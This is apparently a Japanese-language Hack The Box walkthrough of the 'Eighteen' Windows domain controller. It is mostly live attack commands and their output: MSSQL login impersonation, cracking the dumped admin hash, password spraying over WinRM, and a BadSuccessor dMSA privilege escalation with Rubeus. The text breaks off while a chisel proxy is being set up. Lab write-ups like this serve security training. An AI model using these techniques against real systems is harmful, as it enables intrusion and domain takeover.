CAUTION
この記事は合法的なペネトレーションテスト環境(Hack The Box)での攻略内容です。許可のないシステムへの攻撃は違法です。
Enumeration
/etc/hosts
echo "10.129.241.10 eighteen.htb DC01.eighteen.htb" | sudo tee -a /etc/hostsNmap
全ポートスキャン:
┌──(kali㉿kali)-[~/htb/eighteen.htb]└─$ nmap -Pn -p- --min-rate=1000 -T4 -oG nmap/allport.gnmap eighteen.htbStarting Nmap 7.98 ( https://nmap.org ) at 2026-02-24 14:49 +0900Nmap scan report for eighteen.htb (10.129.241.10)Host is up (0.21s latency).Not shown: 65532 filtered tcp ports (no-response)PORT STATE SERVICE80/tcp open http1433/tcp open ms-sql-s5985/tcp open wsman
Nmap done: 1 IP address (1 host up) scanned in 198.62 seconds| Port | Service |
|---|---|
| 80 | HTTP |
| 1433 | MSSQL |
| 5985 | WinRM |
詳細スキャン:
┌──(kali㉿kali)-[~/htb/eighteen.htb]└─$ nmap -Pn -p80,1433,5985 -sV -sC -oG nmap/detailed.gnmap eighteen.htbPORT STATE SERVICE VERSION80/tcp open http Microsoft IIS httpd 10.0|_http-server-header: Microsoft-IIS/10.0|_http-title: Welcome - eighteen.htb1433/tcp open ms-sql-s Microsoft SQL Server 2022 16.00.1000.00; RTM| ms-sql-ntlm-info:| 10.129.241.10:1433:| Target_Name: EIGHTEEN| NetBIOS_Domain_Name: EIGHTEEN| NetBIOS_Computer_Name: DC01| DNS_Domain_Name: eighteen.htb| DNS_Computer_Name: DC01.eighteen.htb| DNS_Tree_Name: eighteen.htb|_ Product_Version: 10.0.26100|_ssl-date: 2026-02-24T12:55:41+00:00; +7h00m01s from scanner time.| ms-sql-info:| 10.129.241.10:1433:| Version:| name: Microsoft SQL Server 2022 RTM| number: 16.00.1000.00| Product: Microsoft SQL Server 2022| Service pack level: RTM| Post-SP patches applied: false|_ TCP port: 1433| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback| Not valid before: 2026-02-24T12:44:30|_Not valid after: 2056-02-24T12:44:305985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)|_http-title: Not Found|_http-server-header: Microsoft-HTTPAPI/2.0Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:|_clock-skew: mean: 7h00m00s, deviation: 0s, median: 6h59m59sFindings:
- OS: Windows (Product_Version: 10.0.26100) — DC01 というコンピュータ名からドメインコントローラの可能性
- ドメイン:
eighteen.htb/ FQDN:DC01.eighteen.htb - IIS 10.0 がポート80で稼働
- MSSQL 2022 RTM (16.00.1000.00) — パッチ未適用
- WinRM (5985) が開放 — 認証情報が得られればリモートシェルが取れる
- clock-skew: +7h — Kerberos 攻撃時にタイムスタンプのずれに注意
Port 80 — HTTP (IIS)
サブドメイン列挙
┌──(kali㉿kali)-[~/htb/eighteen.htb]└─$ ffuf -u http://eighteen.htb -H "Host: FUZZ.eighteen.htb" -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -ac -o subdomain.logヒットなし。
ディレクトリ列挙
┌──(kali㉿kali)-[~/htb/eighteen.htb]└─$ feroxbuster -u http://eighteen.htb -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt -x aspx,asp,html,txt,config
___ ___ __ __ __ __ __ ___|__ |__ |__) |__) | / ` / \ \_/ | | \ |__| |___ | \ | \ | \__, \__/ / \ | |__/ |___by Ben "epi" Risher 🤓 ver: 2.13.1───────────────────────────┬────────────────────── 🎯 Target Url │ http://eighteen.htb/ 🚩 In-Scope Url │ eighteen.htb 🚀 Threads │ 50 📖 Wordlist │ /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt 👌 Status Codes │ All Status Codes! 💥 Timeout (secs) │ 7 🦡 User-Agent │ feroxbuster/2.13.1 💉 Config File │ /etc/feroxbuster/ferox-config.toml 🔎 Extract Links │ true 💲 Extensions │ [aspx, asp, html, txt, config] 🏁 HTTP methods │ [GET] 🔃 Recursion Depth │ 4───────────────────────────┴────────────────────── 🏁 Press [ENTER] to use the Scan Management Menu™──────────────────────────────────────────────────404 GET 5l 31w 207c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter302 GET 5l 22w 199c http://eighteen.htb/admin => http://eighteen.htb/login200 GET 76l 145w 2421c http://eighteen.htb/register200 GET 66l 121w 1961c http://eighteen.htb/login302 GET 5l 22w 189c http://eighteen.htb/logout => http://eighteen.htb/200 GET 603l 1072w 9601c http://eighteen.htb/static/css/style.css200 GET 88l 203w 2822c http://eighteen.htb/features200 GET 74l 156w 2253c http://eighteen.htb/404 GET 29l 95w 1245c http://eighteen.htb/web.config404 GET 29l 95w 1245c http://eighteen.htb/Web.config302 GET 5l 22w 199c http://eighteen.htb/dashboard => http://eighteen.htb/login404 GET 29l 95w 1245c http://eighteen.htb/WEB.config200 GET 74l 156w 2253c http://eighteen.htb/%E2%80%8E200 GET 74l 156w 2253c http://eighteen.htb/%E2%80%8E.aspx... (Unicode パスの誤検知多数 - すべて 74l 156w 2253c でトップページと同一)400 GET 6l 26w 324c http://eighteen.htb/error%1F_log... (error%1F_log の各拡張子も 400)[####################] - 12m 180048/180048 0s found:89 errors:0[####################] - 12m 180000/180000 255/s http://eighteen.htb/主要な結果:
| Status | URL | 備考 |
|---|---|---|
| 200 | / | トップページ |
| 200 | /login | ログインページ |
| 200 | /register | ユーザ登録 |
| 200 | /features | 機能紹介ページ |
| 302 | /admin → /login | 認証必要 |
| 302 | /dashboard → /login | 認証必要 |
| 302 | /logout → / | ログアウト |
大量の Unicode パス(%E8%AE%A8%E8%AE%BA 等)が 200 を返しているが、すべて同一サイズ (2253c) でトップページと同じ内容のため誤検知。
Webサイトの調査
/register からユーザ登録が可能だった。
登録・ログイン周りのフォームに対して sqlmap を実行したが、SQLi は検出されなかった。
なお、後述する MSSQL で使用する認証情報 (kevin) での Web ログインも試みたが失敗した。
/register から test / test でユーザを作成しログイン。取得した Cookie を flask-unsign で解析を試みたが、デコード・署名解析ともに成功しなかった。
admin で登録を試みると「既に存在する」旨のエラーが返り、admin ユーザの存在を確認。Hydra で rockyou.txt を使ったパスワードブルートフォースを実行したがヒットしなかった(後に判明したが、Flask の CSRF トークン保護により全リクエストが弾かれていたと思われる)。
test2 / test2 で登録する際に is_admin=true 等のパラメータを追加して Mass Assignment を試みたが、権限昇格には至らなかった。
{{7*7}} 等のペイロードで SSTI も試したが、テンプレートインジェクションの兆候はなかった。
Port 1433 — MSSQL
事前情報
HTB のマシン情報として、以下の認証情報が提供されていた:

- ユーザ名:
kevin - パスワード:
iNa2we6haRj2gaw!
MSSQL 接続
┌──(kali㉿kali)-[~/htb/eighteen.htb]└─$ impacket-mssqlclient 'kevin:iNa2we6haRj2gaw!@eighteen.htb'Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies
[*] Encryption required, switching to TLS[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192[*] INFO(DC01): Line 1: Changed database context to 'master'.[*] INFO(DC01): Line 1: Changed language setting to us_english.[*] ACK: Result: 1 - Microsoft SQL Server 2022 RTM (16.0.1000)[!] Press help for extra shell commandsSQL (kevin guest@master)>kevin は guest ロールで接続された。
MSSQL 列挙
impacket-mssqlclient の主要なコマンド:
SQL (kevin guest@master)> enum_db;name is_trustworthy_on----------------- -----------------master 0tempdb 0model 0msdb 1financial_planner 0
SQL (kevin guest@master)> enum_linksSRV_NAME SRV_PROVIDERNAME SRV_PRODUCT SRV_DATASOURCE-------- ---------------- ----------- --------------DC01 SQLNCLI SQL Server DC01
SQL (kevin guest@master)> enum_impersonateexecute as database permission_name state_desc grantee grantor---------- -------- --------------- ---------- ------- -------b'LOGIN' b'' IMPERSONATE GRANT kevin appdev
SQL (kevin guest@master)> enum_loginsname type_desc is_disabled sysadmin------ --------- ----------- --------sa SQL_LOGIN 0 1kevin SQL_LOGIN 0 0appdev SQL_LOGIN 0 0
SQL (kevin guest@master)> enum_usersUserName RoleName LoginName DefDBName DefSchemaName------------------ -------- --------- --------- -------------dbo db_owner sa master dboguest public NULL NULL guestINFORMATION_SCHEMA public NULL NULL NULLsys public NULL NULL NULL
SQL (kevin guest@master)> enum_ownerDatabase Owner----------------- -----master satempdb samodel samsdb safinancial_planner saFindings:
financial_planner— デフォルト以外のカスタム DB が存在- IMPERSONATE 権限 —
kevinはappdevログインを偽装可能 - ログイン —
sa(sysadmin),kevin,appdevの3つ - msdb の
is_trustworthy_on = 1— 特権昇格に利用できる可能性
kevin で financial_planner にアクセスを試みたが、権限不足で拒否された。
SQL (kevin guest@master)> USE financial_planner;ERROR(DC01): Line 1: The server principal "kevin" is not able to access the database "financial_planner" under the current security context.appdev への偽装
SQL (kevin guest@master)> exec_as_login appdevSQL (appdev appdev@master)>kevin → appdev への偽装に成功。financial_planner DB にアクセスできた。
SQL (appdev appdev@master)> use financial_plannerENVCHANGE(DATABASE): Old Value: master, New Value: financial_plannerINFO(DC01): Line 1: Changed database context to 'financial_planner'.
SQL (appdev appdev@financial_planner)> select table_name from information_schema.tables;table_name-----------usersincomesexpensesallocationsanalyticsvisitsWeb アプリ (financial_planner) のテーブルが確認できた。
SQL (appdev appdev@financial_planner)> select * from users; id full_name username email password_hash is_admin created_at---- --------- -------- ------------------ ------------------------------------------------------------------------------------------------------ -------- ----------1002 admin admin admin@eighteen.htb pbkdf2:sha256:600000$AMtzteQIG7yAbZIa$0673ad90a0b4afb19d662336f0fce3a9edd0b7b19193717be28ce4d66c887133 1 2025-10-29 05:39:03admin ユーザのパスワードハッシュを取得。形式は pbkdf2:sha256 (600000 rounds)。
hashcat によるクラック
hashcat のモード 10900 (PBKDF2-HMAC-SHA256) を使用する。hashcat が期待する形式は sha256:<iterations>:<base64_salt>:<base64_hash> なので、DB から取得したハッシュを変換する:
| フィールド | 元の値 | 変換後 |
|---|---|---|
| iterations | 600000 | 600000 |
| salt | AMtzteQIG7yAbZIa (平文) | Base64 エンコード |
| hash | 0673ad... (hex) | hex → raw → Base64 エンコード |
┌──(kali㉿kali)-[~/htb/eighteen.htb]└─$ cat admin_salt.txt | base64QU10enRlUUlHN3lBYlpJYQ==
┌──(kali㉿kali)-[~/htb/eighteen.htb]└─$ cat admin_hash.txt | xxd -r -p | base64BnOtkKC0r7GdZiM28Pzjqe3Qt7GRk3F74ozk1myIcTM=
┌──(kali㉿kali)-[~/htb/eighteen.htb]└─$ echo "sha256:600000:QU10enRlUUlHN3lBYlpJYQ==:BnOtkKC0r7GdZiM28Pzjqe3Qt7GRk3F74ozk1myIcTM=" > admin_hashcat.txthashcat 結果:
┌──(kali㉿kali)-[~/htb/eighteen.htb]└─$ hashcat -m 10900 admin_hashcat.txt /usr/share/wordlists/rockyou.txtsha256:600000:QU10enRlUUlHN3lBYlpJYQ==:BnOtkKC0r7GdZiM28Pzjqe3Qt7GRk3F74ozk1myIcTM=:iloveyou1
Session..........: hashcatStatus...........: CrackedHash.Mode........: 10900 (PBKDF2-HMAC-SHA256)Time.Started.....: Tue Feb 24 15:41:46 2026 (10 secs)Time.Estimated...: Tue Feb 24 15:41:56 2026 (0 secs)Speed.#01........: 133 H/s (15.66ms) @ Accel:315 Loops:1000 Thr:1 Vec:16Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)クラック成功: admin / iloveyou1
Web admin ログイン
admin / iloveyou1 で Web にログインし、Admin Dashboard にアクセスできた。

System Information から Flask Financial Planner v1.0 / MSSQL (dc01.eighteen.htb) であることが確認できたが、攻撃に繋がる機能は見つからなかった。
xp_cmdshell の試行
SQL (appdev appdev@financial_planner)> enable_xp_cmdshellERROR(DC01): Line 105: User does not have permission to perform this action.ERROR(DC01): Line 1: You do not have permission to run the RECONFIGURE statement.
SQL (appdev appdev@financial_planner)> xp_cmdshell whoamiERROR(DC01): Line 1: An error occurred during the execution of xp_cmdshell. A call to 'LogonUserW' failed with error code: '1326'.enable_xp_cmdshell は RECONFIGURE 権限不足で失敗。xp_cmdshell の実行も LogonUserW エラー (1326: ログオン失敗) で失敗した。appdev は SQL ログインのため対応する Windows アカウントがないことが原因と思われる。
Linked Server の試行
SQL (appdev appdev@financial_planner)> use_link DC01ERROR(DC01): Line 1: Linked servers cannot be used under impersonation without a mapping for the impersonated login.偽装中のログインにはリンクサーバのマッピングがないため使用不可。
その他の試行
MSSQL に admin / iloveyou1 でログインを試みたが、SQL ログインとして存在しないため失敗。
┌──(kali㉿kali)-[~/htb/eighteen.htb]└─$ impacket-mssqlclient 'admin:iloveyou1@eighteen.htb'[-] ERROR(DC01): Line 1: Login failed for user 'admin'.MSSQL への Windows 認証も失敗。
┌──(kali㉿kali)-[~/htb/eighteen.htb]└─$ impacket-mssqlclient 'eighteen.htb/kevin:iNa2we6haRj2gaw!@eighteen.htb' -windows-auth[-] ERROR(DC01): Line 1: Login failed. The login is from an untrusted domain and cannot be used with Integrated authentication.Port 5985 — WinRM
事前情報の認証情報で WinRM への接続を試みたが、認証エラーで失敗。
┌──(kali㉿kali)-[~/htb/eighteen.htb]└─$ evil-winrm -i eighteen.htb -u kevin -p 'iNa2we6haRj2gaw!'*Evil-WinRM* PS C:\> whoami
Error: An error of type WinRM::WinRMAuthorizationError happened, message is WinRM::WinRMAuthorizationErrorError: Exiting with code 1kevin は WinRM のアクセス権を持っていない。
RID ブルートフォース
MSSQL 経由で NetExec の --rid-brute を使いドメインユーザを列挙。
┌──(kali㉿kali)-[~/htb/eighteen.htb]└─$ nxc mssql eighteen.htb -u kevin -p 'iNa2we6haRj2gaw!' --rid-brute --local-authMSSQL 10.129.241.10 1433 DC01 [+] DC01\kevin:iNa2we6haRj2gaw!MSSQL 10.129.241.10 1433 DC01 500: EIGHTEEN\AdministratorMSSQL 10.129.241.10 1433 DC01 501: EIGHTEEN\GuestMSSQL 10.129.241.10 1433 DC01 502: EIGHTEEN\krbtgtMSSQL 10.129.241.10 1433 DC01 1000: EIGHTEEN\DC01$MSSQL 10.129.241.10 1433 DC01 1601: EIGHTEEN\mssqlsvcMSSQL 10.129.241.10 1433 DC01 1602: EIGHTEEN\SQLServer2005SQLBrowserUser$DC01MSSQL 10.129.241.10 1433 DC01 1603: EIGHTEEN\HRMSSQL 10.129.241.10 1433 DC01 1604: EIGHTEEN\ITMSSQL 10.129.241.10 1433 DC01 1605: EIGHTEEN\FinanceMSSQL 10.129.241.10 1433 DC01 1606: EIGHTEEN\jamie.dunnMSSQL 10.129.241.10 1433 DC01 1607: EIGHTEEN\jane.smithMSSQL 10.129.241.10 1433 DC01 1608: EIGHTEEN\alice.jonesMSSQL 10.129.241.10 1433 DC01 1609: EIGHTEEN\adam.scottMSSQL 10.129.241.10 1433 DC01 1610: EIGHTEEN\bob.brownMSSQL 10.129.241.10 1433 DC01 1611: EIGHTEEN\carol.whiteMSSQL 10.129.241.10 1433 DC01 1612: EIGHTEEN\dave.greenFindings:
- サービスアカウント:
mssqlsvc— MSSQL のサービスアカウント - グループ:
HR,IT,Finance - ドメインユーザ:
jamie.dunn,jane.smith,alice.jones,adam.scott,bob.brown,carol.white,dave.green
パスワードスプレー
Web admin のパスワード iloveyou1 がドメインユーザでも使いまわされていないか確認する。
RID ブルートフォースの結果からドメインユーザだけを抽出し、ユーザリストを作成:
┌──(kali㉿kali)-[~/htb/eighteen.htb]└─$ cat > rid_brute_users.logMSSQL 10.129.241.10 1433 DC01 1606: EIGHTEEN\jamie.dunnMSSQL 10.129.241.10 1433 DC01 1607: EIGHTEEN\jane.smithMSSQL 10.129.241.10 1433 DC01 1608: EIGHTEEN\alice.jonesMSSQL 10.129.241.10 1433 DC01 1609: EIGHTEEN\adam.scottMSSQL 10.129.241.10 1433 DC01 1610: EIGHTEEN\bob.brownMSSQL 10.129.241.10 1433 DC01 1611: EIGHTEEN\carol.whiteMSSQL 10.129.241.10 1433 DC01 1612: EIGHTEEN\dave.green[Ctrl+D]
┌──(kali㉿kali)-[~/htb/eighteen.htb]└─$ cut -d'\' -f2 rid_brute_users.log > users.txt
┌──(kali㉿kali)-[~/htb/eighteen.htb]└─$ cat users.txtjamie.dunnjane.smithalice.jonesadam.scottbob.browncarol.whitedave.greenWinRM に対してスプレー:
┌──(kali㉿kali)-[~/htb/eighteen.htb]└─$ nxc winrm eighteen.htb -u users.txt -p 'iloveyou1'WINRM 10.129.241.10 5985 DC01 [-] eighteen.htb\jamie.dunn:iloveyou1WINRM 10.129.241.10 5985 DC01 [-] eighteen.htb\jane.smith:iloveyou1WINRM 10.129.241.10 5985 DC01 [-] eighteen.htb\alice.jones:iloveyou1WINRM 10.129.241.10 5985 DC01 [+] eighteen.htb\adam.scott:iloveyou1 (Pwn3d!)adam.scott / iloveyou1 で WinRM 認証成功。Pwn3d! = シェル取得可能。
Foothold — User Flag
┌──(kali㉿kali)-[~/htb/eighteen.htb]└─$ evil-winrm -u adam.scott -p 'iloveyou1' -i eighteen.htb*Evil-WinRM* PS C:\Users\adam.scott\Documents> type ../Desktop/user.txt8998583661b36ee655ac0213d9249ae7User flag: 8998583661b36ee655ac0213d9249ae7
Privilege Escalation
基本情報
*Evil-WinRM* PS C:\Users\adam.scott\Documents> whoami /all
USER INFORMATION----------------User Name SID=================== =============================================eighteen\adam.scott S-1-5-21-1152179935-589108180-1989892463-1609
GROUP INFORMATION-----------------Group Name Type SID Attributes========================================== ================ ============================================= ==================================================Everyone Well-known group S-1-1-0 Mandatory group, Enabled by default, Enabled groupBUILTIN\Users Alias S-1-5-32-545 Mandatory group, Enabled by default, Enabled groupBUILTIN\Pre-Windows 2000 Compatible Access Alias S-1-5-32-554 Mandatory group, Enabled by default, Enabled groupBUILTIN\Remote Management Users Alias S-1-5-32-580 Mandatory group, Enabled by default, Enabled groupNT AUTHORITY\NETWORK Well-known group S-1-5-2 Mandatory group, Enabled by default, Enabled groupNT AUTHORITY\Authenticated Users Well-known group S-1-5-11 Mandatory group, Enabled by default, Enabled groupNT AUTHORITY\This Organization Well-known group S-1-5-15 Mandatory group, Enabled by default, Enabled groupEIGHTEEN\IT Group S-1-5-21-1152179935-589108180-1989892463-1604 Mandatory group, Enabled by default, Enabled groupNT AUTHORITY\NTLM Authentication Well-known group S-1-5-64-10 Mandatory group, Enabled by default, Enabled groupMandatory Label\Medium Mandatory Level Label S-1-16-8192
PRIVILEGES INFORMATION----------------------Privilege Name Description State============================= ============================== =======SeMachineAccountPrivilege Add workstations to domain EnabledSeChangeNotifyPrivilege Bypass traverse checking EnabledSeIncreaseWorkingSetPrivilege Increase a process working set EnabledFindings:
EIGHTEEN\ITグループに所属Remote Management Usersに所属(WinRM アクセスの理由)- 特権は標準的で、直接悪用できるものはない
*Evil-WinRM* PS C:\Users\adam.scott\Documents> net user adam.scott /domainUser name adam.scottFull NameCommentUser's commentCountry/region code 000 (System Default)Account active YesAccount expires Never
Password last set 10/29/2025 4:42:11 AMPassword expires NeverPassword changeable 10/29/2025 4:42:11 AMPassword required YesUser may change password Yes
Workstations allowed AllLogon scriptUser profileHome directoryLast logon 10/27/2025 11:55:28 AM
Logon hours allowed All
Local Group MembershipsGlobal Group memberships *IT *Domain Usersグループメンバーシップは IT と Domain Users のみ。
*Evil-WinRM* PS C:\Users\adam.scott\Documents> net groups /domain*Cloneable Domain Controllers*DnsUpdateProxy*Domain Admins*Domain Computers*Domain Controllers*Domain Guests*Domain Users*Enterprise Admins*Enterprise Key Admins*Enterprise Read-only Domain Controllers*External Trust Accounts*Finance*Forest Trust Accounts*Group Policy Creator Owners*HR*IT*Key Admins*Protected Users*Read-only Domain Controllers*Schema AdminsRID ブルートフォースで確認済みのグループと一致。
IT グループの調査
*Evil-WinRM* PS C:\Users\adam.scott\Documents> net group "IT" /domainGroup name ITComment
Members-------------------------------------------------------------------------------adam.scott bob.brownThe command completed successfully.IT グループのメンバーは adam.scott と bob.brown の2名。
BloodHound
SharpHound でドメイン全体のデータを収集する。
*Evil-WinRM* PS C:\Users\adam.scott\Documents> upload /home/kali/htb/eighteen.htb/SharpHound.exe
Info: Uploading /home/kali/htb/eighteen.htb/SharpHound.exe to C:\Users\adam.scott\Documents\SharpHound.exeData: 1758548 bytes of 1758548 bytes copiedInfo: Upload successful!
*Evil-WinRM* PS C:\Users\adam.scott\Documents> ./SharpHound.exe -c All2026-02-24T06:45:52.2693465-08:00|INFORMATION|This version of SharpHound is compatible with the 5.0.0 Release of BloodHound2026-02-24T06:45:52.2915333-08:00|INFORMATION|SharpHound Version: 2.9.0.0...2026-02-24T06:49:58.1064115-08:00|INFORMATION|Status: 318 objects finished (+318 39.75)/s -- Using 65 MB RAM2026-02-24T06:49:58.1064115-08:00|INFORMATION|Enumeration finished in 00:00:08.77560032026-02-24T06:49:58.2611369-08:00|INFORMATION|SharpHound Enumeration Completed at 6:49 AM on 2/24/2026! Happy Graphing!
*Evil-WinRM* PS C:\Users\adam.scott\Documents> download 20260224064952_BloodHound.zip
Info: Download successful!収集した zip をローカルにダウンロードし、BloodHound にインポートして分析する。
ADAM.SCOTT@EIGHTEEN.HTB → ADMINISTRATORS@EIGHTEEN.HTB の攻撃パスを検索:

攻撃パス:
ADAM.SCOTT→ MemberOf →IT@EIGHTEEN.HTBIT@EIGHTEEN.HTB→ CanPSRemote →DC01.EIGHTEEN.HTBDC01.EIGHTEEN.HTB→ HasSession →ADMINISTRATOR@EIGHTEEN.HTBDC01.EIGHTEEN.HTB→ DCSync / DCFor →EIGHTEEN.HTBADMINISTRATOR@EIGHTEEN.HTB→ MemberOf →ADMINISTRATORS@EIGHTEEN.HTB
BloodHound が示す最短パスは DC01 上の Administrator セッションを経由するルートだが、直接セッションをハイジャックするには既に DC01 上で高権限が必要で、このパスは実質使えない。
BadSuccessor
Nmap の結果で Product_Version: 10.0.26100 = Windows Server 2025 であることがわかっていたため、「Windows Server 2025 privilege escalation」で調査したところ、以下の記事が見つかった:
BadSuccessor は、Server 2025 で導入された dMSA (delegated Managed Service Account) を悪用する権限昇格攻撃。dMSA には既存のサービスアカウントから移行する機能があり、移行先の dMSA には移行元の権限がそのまま引き継がれる。OU に対して CreateChild 権限を持つユーザであれば、任意のアカウント(Administrator を含む)を移行元として指定した dMSA を作成でき、Domain Admin に昇格できる。
前提条件の確認:
dMSA が現環境に存在するか、また Domain Admins のメンバーを確認:
*Evil-WinRM* PS C:\Users\adam.scott\Documents> Get-ADServiceAccount -Filter * -Properties **Evil-WinRM* PS C:\Users\adam.scott\Documents> net group "Domain Admins" /domainGroup name Domain AdminsComment Designated administrators of the domain
Members-------------------------------------------------------------------------------AdministratorThe command completed successfully.- dMSA は現時点では存在しない(攻撃者が新規作成する必要がある)
- Domain Admins のメンバーは
Administratorのみ(= 移行元として指定するターゲット) whoami /allで確認した通り、adam.scottはSeMachineAccountPrivilegeを持っている
OU と ACL の調査:
*Evil-WinRM* PS C:\Users\adam.scott\Documents> Import-Module ActiveDirectory*Evil-WinRM* PS C:\Users\adam.scott\Documents> Get-ADOrganizationalUnit -Filter * | Select-Object Name, DistinguishedName
Name DistinguishedName---- -----------------Domain Controllers OU=Domain Controllers,DC=eighteen,DC=htbStaff OU=Staff,DC=eighteen,DC=htbStaff OU に対する IT グループの ACL を確認:
*Evil-WinRM* PS C:\Users\adam.scott\Documents> (Get-ACL "AD:OU=Staff,DC=eighteen,DC=htb").Access | Where-Object {$_.IdentityReference -like "*IT*"}
ActiveDirectoryRights : CreateChildInheritanceType : NoneObjectType : 00000000-0000-0000-0000-000000000000InheritedObjectType : 00000000-0000-0000-0000-000000000000ObjectFlags : NoneAccessControlType : AllowIdentityReference : EIGHTEEN\ITIsInherited : FalseInheritanceFlags : NonePropagationFlags : NoneEIGHTEEN\IT グループは OU=Staff に対して CreateChild 権限を持っている。 これにより、この OU 内に dMSA を作成でき、BadSuccessor 攻撃による権限昇格が可能。
BadSuccessor の実行
Invoke-BadSuccessor.ps1 を使用する。
*Evil-WinRM* PS C:\Users\adam.scott\Documents> upload Invoke-BadSuccessor.ps1
Info: Uploading /home/kali/htb/eighteen.htb/Invoke-BadSuccessor.ps1 to C:\Users\adam.scott\Documents\Invoke-BadSuccessor.ps1Data: 33484 bytes of 33484 bytes copiedInfo: Upload successful!
*Evil-WinRM* PS C:\Users\adam.scott\Documents> Import-Module .\Invoke-BadSuccessor.ps1*Evil-WinRM* PS C:\Users\adam.scott\Documents> Invoke-BadSuccessor[+] Created computer 'Pwn' in 'OU=Staff,DC=eighteen,DC=htb'.[+] Machine Account's sAMAccountName : Pwn$[+] Machine Account's SID : S-1-5-21-1152179935-589108180-1989892463-12601
[+] Created delegated service account 'attacker_dMSA' in 'OU=Staff,DC=eighteen,DC=htb'.[+] Service Account's sAMAccountName : attacker_dMSA$[+] Service Account's SID : S-1-5-21-1152179935-589108180-1989892463-12602[+] Allowed to retrieve password : Pwn$
[+] Added ACE on 'CN=attacker_dMSA,OU=Staff,DC=eighteen,DC=htb' for 'adam.scott' with rights 'All' (Allow, ThisObjectOnly).[+] Granted 'GenericAll' on 'attacker_dMSA to 'adam.scott'.[+] Configured delegated MSA state for 'attacker_dMSA with predecessor: CN=Administrator,CN=Users,DC=eighteen,DC=htb
[+] Next steps (Rubeus): Rubeus.exe hash /password:'Password123!' /user:Pwn$ /domain:eighteen.htb Rubeus.exe asktgt /user:Pwn$ /aes256:<AES256KEY> /domain:eighteen.htb Rubeus.exe asktgs /targetuser:attacker_dMSA$ /service:krbtgt/eighteen.htb /dmsa /opsec /ptt /nowrap /outfile:ticket.kirbi /ticket:<BASE64TGT>
[+] Alternative (Impacket): getST.py 'eighteen.htb/Pwn$:Password123!' -k -no-pass -dmsa -self -impersonate 'attacker_dMSAツールが以下を自動で作成した:
- マシンアカウント
Pwn$(パスワード:Password123!) - dMSA
attacker_dMSA$— 移行元 (predecessor) としてAdministratorを指定 adam.scottに dMSA へのGenericAll権限を付与
次のステップとして Rubeus で Kerberos チケットを取得する。Impacket (getST.py) は Kerberos (ポート 88) へのアクセスが必要だが、nmap の全ポートスキャンでは開放が確認できなかったため、ターゲット上で Rubeus を使用する。
Rubeus によるチケット取得(失敗)
Invoke-BadSuccessor が出力した Next steps に従い、Rubeus でチケットを取得する。
Step 1: マシンアカウント Pwn$ のパスワードハッシュを計算:
*Evil-WinRM* PS C:\Users\adam.scott\Documents> upload /usr/share/windows-resources/rubeus/Rubeus.exe
Info: Upload successful!
*Evil-WinRM* PS C:\Users\adam.scott\Documents> .\Rubeus.exe hash /password:'Password123!' /user:Pwn$ /domain:eighteen.htb
[*] Input password : Password123![*] Input username : Pwn$[*] Input domain : eighteen.htb[*] Salt : EIGHTEEN.HTBhostpwn.eighteen.htb[*] rc4_hmac : 2B576ACBE6BCFDA7294D6BD18041B8FE[*] aes128_cts_hmac_sha1 : A4369F3F47382720482549ACA7B36353[*] aes256_cts_hmac_sha1 : 07CE45274C9D70F6C47ACD9D72838A4D292903CBC8947E2C32B7F9E0ECF17D0B[*] des_cbc_md5 : D5150802CB46C419Step 2: Pwn$ の AES256 ハッシュを使って TGT を取得:
*Evil-WinRM* PS C:\Users\adam.scott\Documents> .\Rubeus.exe asktgt /user:Pwn$ /aes256:07CE45274C9D70F6C47ACD9D72838A4D292903CBC8947E2C32B7F9E0ECF17D0B /domain:eighteen.htb
[*] Action: Ask TGT[*] Using aes256_cts_hmac_sha1 hash: 07CE45274C9D70F6C47ACD9D72838A4D292903CBC8947E2C32B7F9E0ECF17D0B[*] Building AS-REQ (w/ preauth) for: 'eighteen.htb\Pwn[+] TGT request successful![*] base64(ticket.kirbi):
doIFYjCCBV6gAwIBBaEDAgEWooIEazCCBGdhggRjMIIEX6ADAgEFoQ4bDEVJR0hURUVOLkhUQqIhMB+g ...(省略)... dGI=
ServiceName : krbtgt/eighteen.htb ServiceRealm : EIGHTEEN.HTB UserName : Pwn$ StartTime : 2/24/2026 9:00:38 AM EndTime : 2/24/2026 7:00:38 PM Flags : name_canonicalize, pre_authent, initial, renewable, forwardable KeyType : aes256_cts_hmac_sha1TGT の取得に成功。
Step 3: TGT を使い、/dmsa フラグを指定して dMSA (attacker_dMSA$) の TGS 取得を試みる。/opsec には /enctype:aes256 の明示的な指定が必要なため追加した:
*Evil-WinRM* PS C:\Users\adam.scott\Documents> .\Rubeus.exe asktgs /targetuser:attacker_dMSA$ /service:krbtgt/eighteen.htb /dmsa /opsec /enctype:aes256 /ptt /nowrap /outfile:ticket.kirbi /ticket:<BASE64TGT>
[*] Action: Ask TGS[*] Using domain controller: DC01.eighteen.htb[*] Requesting 'aes256_cts_hmac_sha1' etype for the service ticket[*] Building TGS-REQ request for: 'krbtgt/eighteen.htb'[+] TGS request successful![+] Ticket successfully imported!
ServiceName : krbtgt/EIGHTEEN.HTB ServiceRealm : EIGHTEEN.HTB UserName : Pwn$ StartTime : 2/24/2026 9:07:16 AM EndTime : 2/24/2026 7:00:38 PM Flags : name_canonicalize, pre_authent, renewable, forwardable KeyType : aes256_cts_hmac_sha1
[*] Ticket written to ticket.kirbiUserName が Pwn$ のままになっていることに注目。本来、dMSA のチケットであれば attacker_dMSA$ が表示されるべきである。/dmsa フラグが無視され、単なる Pwn$ の TGS が返されたと考えられる(v1.6.4 では dMSA 機能が未実装の可能性がある)。v2.2.0 でも試みたが KDC_ERR_C_PRINCIPAL_UNKNOWN エラーとなり、こちらも正しく動作しなかった。
Rubeus ではこの攻撃パスを完遂できなかったため、Kali 側の Impacket (impacket-getST) を使用するアプローチに切り替える。nmap の全ポートスキャンでは Kerberos (ポート 88) の開放が確認できなかったため、chisel で SOCKS プロキシを構築する。
Chisel SOCKS プロキシ
Kali 側(サーバ):
